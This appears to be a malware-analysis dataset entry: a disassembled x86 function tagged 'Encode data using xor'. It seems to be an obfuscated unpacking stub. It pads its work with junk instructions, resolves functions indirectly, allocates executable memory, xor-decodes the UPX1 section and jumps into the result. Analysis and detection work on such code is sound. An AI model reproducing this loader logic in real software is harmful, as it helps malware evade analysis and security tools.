Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf006e1c8
sub ecx, 0x37fad622
not esi
inc ecx
popal
sub esi, 0xa8377cc0
or ecx, ecx
sub ecx, esi
mov ebx, 0
mov edx, eax
add esi, edi
not esi
and edi, esi
mov ecx, edx
add esi, edi
sub edi, esi
dec edi
mov eax, ecx
add esi, 1
mov edi, esi
add esi, edi
add ebx, 1
or edi, edi
mov esi, edi
cmp ebx, 0x100e410
jne 0xa789cb
mov edi, esi
sub esi, 1
sub esi, ecx
inc esi
add ecx, 0xf58a99b2
mov ecx, 0xa78796
add eax, eax
dec esi
mov ebx, 0xa7898a
or edi, esi
sub edi, 0x52ed34fb
mov edx, dword [ecx]
sub eax, 0x22404f51
add eax, edi
and edx, 0xff
and eax, eax
sub eax, edi
xor dword [ebx], edx
inc edi
not edi
inc ebx
inc esi
inc eax
or eax, esi
inc ecx
dec esi
or edi, eax
or esi, eax
cmp ebx, entry0
jl 0xa78a22
add eax, 1
sub eax, edi
or esi, eax
add esi, esi
dec edi
add ecx, edx
or ebx, edx
mov esi, 0xa7898e
and ebx, edx
not edx
add ebx, ecx
mov esi, dword [esi]
add edx, ecx
sub edx, 0xe2d48802
mov esi, dword [esi]
add ebx, edx
add ebx, edx
or ecx, edi
push esi
dec edi
mov ebx, ecx
add ecx, edi
mov esi, 0xa7898a
sub ebx, edx
not edi
or edx, ebx
mov esi, dword [esi]
sub edx, ecx
and ebx, edx
mov esi, dword [esi]
mov ebx, edi
inc edx
push 0xa78992
and edx, ebx
mov ebx, ecx
call esi
not ebx
mov ebx, 0x4c4d9362
add edx, 0xb5480797
pop esi
mov ebx, 0x89f9d2f7
add edx, 0x8fc36f25
push 0xa7899f
or edx, ebx
sub edx, ebx
add ecx, ecx
push eax
mov edx, 0x9ea0b904
add ebx, 0x4134c7f4
call esi
sub edi, ecx
inc ecx
mov edi, 0x698e4ff4
push 0x40
mov ecx, edi
dec edx
push 0x3000
sub ecx, edx
not ecx
sub esp, 4
mov dword [esp], 0x20000a2a
sub edx, 0x52609f27
sub edi, ebx
sub esp, 4
mov dword [esp], 0
sub ecx, 0x86ea9601
mov edi, ecx
mov ecx, edx
call eax
mov edx, 0x5fc27335
dec ecx
add eax, 0x20000981
or ecx, edi
inc ebx
mov esi, 0x42bd6f07
mov ecx, ebx
mov ebx, edi
mov dword [eax], esi
add ebx, edx
or edx, edx
mov esi, dword [eax]
or edx, ecx
add edi, 0x29631e68
sub ecx, edx
cmp esi, 0x42bd6f07
je 0xa78b53
mov eax, 0
mov ebx, dword [eax]
inc ebx
dec edx
not ecx
and ecx, ecx
inc esi
dec esi
mov edi, section.UPX1
mov ecx, esi
dec esi
add ecx, 1
mov eax, 0xa78795
inc ecx
or esi, esi
add ecx, ecx
mov ebx, 0
inc ecx
sub ecx, 0xd0e7c4d8
add esi, 0xc52d2f5e
mov edx, 0xa78796
dec ecx
mov ecx, 0xb2e6219c
mov esi, 0x5392293f
lea edx, [edx + ebx]
sub esi, 0x6b831bf6
not esi
mov edx, dword [edx]
add esi, 0xcce14f2
mov ecx, esi
mov esi, 0xae1ec620
and edx, 0xff
and ecx, ecx
sub ecx, 0x963bbaf0
sub ecx, 1
inc ebx
inc ecx
sub esi, 0xa2f33a9
or esi, ecx
cmp ebx, 0x1f4
jne 0xa78bda
mov ebx, 0
mov esi, 0x49c4601
sub ecx, 1
add ecx, esi
add ecx, 1
add ecx, 0x4a7bda02
and esi, ecx
xor dword [edi], edx
sub esi, ecx
add esi, esi
add edi, 2
sub esi, 1
add esi, 0xb1ecaba2
cmp edi, eax
jl 0xa78b85
or ecx, esi
add esi, 0x7ca00d87
mov esi, ecx
mov esi, ecx
sub esi, 0x19f432db
mov esi, section.UPX1
dec eax
and edi, eax
sub eax, 0x44540268
mov ecx, section.UPX1
mov eax, edi
sub eax, 0xa5c78f2b
inc edi
mov ebx, 0xa78795
mov eax, edi
add edi, edi
mov edx, 0
mov edi, 0x7ae40f34
and edi, eax
sub edi, eax
mov dl, byte [ecx]
sub eax, 0x5eb88016
add edi, 0xaf3e08eb
not edi
mov byte [esi], dl
inc edi
not eax
inc esi
add eax, eax
not eax
and eax, eax
add ecx, 2
add edi, eax
add eax, edi
or eax, edi
cmp ecx, ebx
jle 0xa78c5a
add edi, 0x45953490
inc edi
add ecx, ecx
add esi, 0xd0360196
sub ecx, 0xc396a836
sub esp, 4
mov dword [esp], 0x8dc6a0
add ecx, ecx
not esi
not ecx
ret